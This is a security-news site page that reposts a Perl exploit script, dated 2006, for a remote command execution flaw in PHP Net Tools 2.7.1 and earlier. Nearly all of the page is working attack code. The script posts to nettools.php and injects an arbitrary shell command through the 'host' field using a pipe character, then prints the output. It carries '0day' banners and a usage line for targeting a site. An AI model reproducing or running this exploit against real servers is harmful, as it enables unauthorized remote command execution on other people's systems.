首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP Net Tools <= 2.7.1 Remote Code Execution Exploit
来源:fox_mulder@abv.bg 作者:FOX_MULDER 发布时间:2006-04-19  

#!/usr/bin/perl
# PHP Net Tools Remote Code Execution Exploit
#
# by FOX_MULDER (fox_mulder@abv.bg)
# Vulnerability found by FOX_MULDER.
#
# "Born to be root !!!"
#----------------------------------+
#PHP Net Tools |
#Copyright (C) 2005 Eric Robertson |
#h4rdc0d3@gmail.com |
#----------------------------------+
#
# Fact:Wbyte counted twice to infinity !!!
#
#
###################################################
use LWP 5.64;

my $hostname = $ARGV[0];
my $dir = $ARGV[1];
my $command = $ARGV[2];

if (@ARGV<2) {
print "\nUsage: ntools.pl www.site.com /dir/ \"ls \-la\" \n";
exit();
}

print "=======================================================\n";
print "0day 0day 0day 0day 0day 0day 0day 0day 0day 0day 0day\n";
print "PHP Net Tools Command Execution Exploit by FOX_MULDER\n";
print "fox_mulder@abv.bg\r\n";
print "=======================================================\n";

my $browser = LWP::UserAgent->new;
$browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)');
print "\n\n[+]Sending request to server . . .\r\n";

my $url = "http://$hostname$dir/nettools.php";


my $response = $browser->post( $url,[
'ping' => '1',
'host' => "|$command"]);

my $code = $response->status_line;
print "[+] HTTP RESPONSE $code\n";
print "\n[+]Injecting command . . .\n";
$response->content =~ /blockquote>(.*)<\/blockquote>/s;
print "$1\n";




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Internet PhotoShow (page) Remo
·ASPSitem <= 1.83 (Haberler.
·Neon Responder 5.4 (Clock Sync
·Mambo <= 4.5.3 , Joomla <
·FlexBB <= 0.5.5 (/inc/start
·PCPIN Chat <= 5.0.4 (login/
·Blackorpheus ClanMemberSkript
·PHPSurveyor <= 0.995 (surve
·Microsoft IIS ASP Stack Overfl
·My Gaming Ladder Combo System
·Cheese Tracker <= 0.9.9 Loc
·Apple Mac OS X Safari <= 2.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved